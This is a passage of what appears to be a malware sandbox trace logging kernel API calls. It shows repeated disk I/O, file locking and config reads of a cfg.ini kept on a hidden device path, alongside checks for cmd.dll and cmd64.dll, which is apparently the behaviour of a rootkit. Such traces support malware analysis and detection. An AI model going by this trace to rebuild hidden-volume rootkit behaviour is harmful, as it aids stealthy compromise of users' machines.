_Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.901] KeEnterCriticalRegion () [0120.901] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.901] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.901] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.901] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.901] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.901] IdePortDispatch () returned 0x103 [0120.901] KeWaitForMutexObject () returned 0x0 [0120.901] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.901] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.901] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.901] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.901] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.901] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbdc0 [0120.901] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.901] KeLeaveCriticalRegion () [0120.901] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.902] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.902] KeEnterCriticalRegion () [0120.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.902] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.902] KeLeaveCriticalRegion () [0120.902] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.902] KeEnterCriticalRegion () [0120.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.902] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.902] IdePortDispatch () returned 0x103 [0120.902] KeWaitForMutexObject () returned 0x0 [0120.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.902] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.902] KeLeaveCriticalRegion () [0120.902] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.902] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.902] KeEnterCriticalRegion () [0120.902] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.902] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800351f000 [0120.902] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.902] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.902] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.902] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.902] IdePortDispatch () returned 0x103 [0120.902] KeWaitForMutexObject () returned 0x0 [0120.902] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.903] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.903] IdePortDispatch () returned 0x103 [0120.903] KeWaitForMutexObject () returned 0x0 [0120.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.903] KeLeaveCriticalRegion () [0120.903] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.903] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.903] KeEnterCriticalRegion () [0120.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.903] KeLeaveCriticalRegion () [0120.903] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.903] KeEnterCriticalRegion () [0120.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.903] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.903] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd9c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.904] KeLeaveCriticalRegion () [0120.904] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.904] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.904] KeEnterCriticalRegion () [0120.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.904] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0120.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.904] KeLeaveCriticalRegion () [0120.904] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.904] ReleaseMutex (hMutex=0xf0) returned 1 [0120.904] Sleep (dwMilliseconds=0x124f80) [0120.921] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.921] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.921] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.921] KeEnterCriticalRegion () [0120.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.921] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.921] IdePortDispatch () returned 0x103 [0120.921] KeWaitForMutexObject () returned 0x0 [0120.921] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.921] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.921] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.921] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.921] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.921] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b9f320 [0120.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.921] KeLeaveCriticalRegion () [0120.921] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.921] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.921] KeEnterCriticalRegion () [0120.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.921] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.921] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.921] KeLeaveCriticalRegion () [0120.921] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.921] KeEnterCriticalRegion () [0120.921] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.921] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.921] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.921] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.921] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.921] IdePortDispatch () returned 0x103 [0120.921] KeWaitForMutexObject () returned 0x0 [0120.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.922] KeLeaveCriticalRegion () [0120.922] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.922] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.922] KeEnterCriticalRegion () [0120.922] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003524000 [0120.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.922] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.922] IdePortDispatch () returned 0x103 [0120.922] KeWaitForMutexObject () returned 0x0 [0120.922] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.922] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.922] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.922] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.922] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.922] IdePortDispatch () returned 0x103 [0120.922] KeWaitForMutexObject () returned 0x0 [0120.922] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.922] KeLeaveCriticalRegion () [0120.922] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.923] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.923] KeEnterCriticalRegion () [0120.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.923] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.923] KeLeaveCriticalRegion () [0120.923] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.923] KeEnterCriticalRegion () [0120.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.923] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.923] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b9f3e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.923] KeLeaveCriticalRegion () [0120.923] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.923] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.923] KeEnterCriticalRegion () [0120.923] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.923] ExFreePoolWithTag (P=0xfffffa8003b9f320, Tag=0x0) [0120.923] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.923] KeLeaveCriticalRegion () [0120.923] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.923] ReleaseMutex (hMutex=0xf0) returned 1 [0120.923] Sleep (dwMilliseconds=0x124f80) [0120.937] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.937] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.937] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.937] KeEnterCriticalRegion () [0120.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.937] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.937] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.937] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.937] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.937] IdePortDispatch () returned 0x103 [0120.937] KeWaitForMutexObject () returned 0x0 [0120.937] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.937] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.937] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.937] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.937] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.937] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe950 [0120.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.937] KeLeaveCriticalRegion () [0120.937] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.937] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.937] KeEnterCriticalRegion () [0120.937] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.937] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.937] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.937] KeLeaveCriticalRegion () [0120.938] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.938] KeEnterCriticalRegion () [0120.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.938] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.938] IdePortDispatch () returned 0x103 [0120.938] KeWaitForMutexObject () returned 0x0 [0120.938] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.938] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.938] KeLeaveCriticalRegion () [0120.938] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.938] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.938] KeEnterCriticalRegion () [0120.938] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.938] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003529000 [0120.938] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.938] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.938] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.938] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.938] IdePortDispatch () returned 0x103 [0120.939] KeWaitForMutexObject () returned 0x0 [0120.939] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.939] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.939] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0120.939] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.939] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.939] IdePortDispatch () returned 0x103 [0120.939] KeWaitForMutexObject () returned 0x0 [0120.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.939] KeLeaveCriticalRegion () [0120.939] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.939] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.939] KeEnterCriticalRegion () [0120.939] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.939] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.939] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.939] KeLeaveCriticalRegion () [0120.940] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.940] KeEnterCriticalRegion () [0120.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.940] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0120.940] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b9f530, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.940] KeLeaveCriticalRegion () [0120.940] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.940] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.940] KeEnterCriticalRegion () [0120.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.940] ExFreePoolWithTag (P=0xfffffa8003bbe950, Tag=0x0) [0120.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.940] KeLeaveCriticalRegion () [0120.940] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.940] ReleaseMutex (hMutex=0xf0) returned 1 [0120.940] Sleep (dwMilliseconds=0x124f80) [0120.953] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.953] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.953] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.954] KeEnterCriticalRegion () [0120.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.954] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0120.954] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.954] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.954] IdePortDispatch () returned 0x103 [0120.954] KeWaitForMutexObject () returned 0x0 [0120.954] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.954] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.954] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.954] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.954] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.954] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe6a0 [0120.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.954] KeLeaveCriticalRegion () [0120.954] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0120.954] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.954] KeEnterCriticalRegion () [0120.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.954] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0120.954] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.954] KeLeaveCriticalRegion () [0120.954] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.954] KeEnterCriticalRegion () [0120.954] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.954] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0120.954] IoAllocateMdl (in: 